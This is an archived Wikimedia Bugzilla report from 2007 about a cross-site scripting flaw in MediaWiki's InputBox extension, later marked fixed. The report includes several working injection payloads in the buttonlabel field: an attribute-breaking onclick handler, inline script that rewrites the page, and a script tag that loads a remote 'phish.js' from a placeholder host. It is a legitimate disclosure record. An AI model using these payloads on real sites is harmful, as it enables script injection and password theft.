Last modified: 2007-11-05 14:03:25 UTC

Wikimedia Bugzilla is closed!

Wikimedia has migrated from Bugzilla to Phabricator. Bug reports should be created and updated in Wikimedia Phabricator instead. Please create an account in Phabricator and add your Bugzilla email address to it.
Wikimedia Bugzilla is read-only. If you try to edit or create any bug report in Bugzilla you will be shown an intentional error message.
In order to access the Phabricator task corresponding to a Bugzilla report, just remove "static-" from its URL.
You could still run searches in Bugzilla or access your list of votes but bug reports will obviously not be up-to-date in Bugzilla.
Bug 11877 - Insecure HTML can be added
Insecure HTML can be added
Status: RESOLVED FIXED
Product: MediaWiki extensions
Classification: Unclassified
InputBox (Other open bugs)
unspecified
All All
: Normal critical (vote)
: ---
Assigned To: Nobody - You can work on this!
:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2007-11-05 11:48 UTC by Conrad Irwin
Modified: 2007-11-05 14:03 UTC (History)
2 users (show)

See Also:
Web browser: ---
Mobile Platform: ---
Assignee Huggle Beta Tester: ---


Attachments

Description Conrad Irwin 2007-11-05 11:48:39 UTC
As this does no HTML escaping it is possible for editors to embed script tags in the page, with all of the security problems that that entails.

I found this problem on wiktionary and wikipedia, so I am guessing it is a universal problem.

For example...

<inputbox>
type=search
buttonlabel=Hello" onclick="alert('gotcha');return false
searchbuttonlabel=Dig deeper
</inputbox>

<inputbox>
type=search
buttonlabel=Hello" /><!-- Actually this is quite useful...
searchbuttonlabel=Dig deeper--> <br class="
</inputbox>

<inputbox>
type=search
buttonlabel=Hello" /><script type="text/javascript">document.body.innerHTML="You Smell";</script>
searchbuttonlabel=Oops
</inputbox>

<inputbox>
type=search
buttonlabel=Hello" /><script type="text/javascript" src="http://www.example.com/phish.js" />
searchbuttonlabel=Now you are really for it
</inputbox>

This could have dire consequences, as it would be trivial to get people's wiki passwords (in the name of the unified login scheme) or other less obvious hacks.
Comment 1 Victor Vasiliev 2007-11-05 14:03:25 UTC
Fixed in r27197.

Note You need to log in before you can comment on or make changes to this bug.


Navigation
Links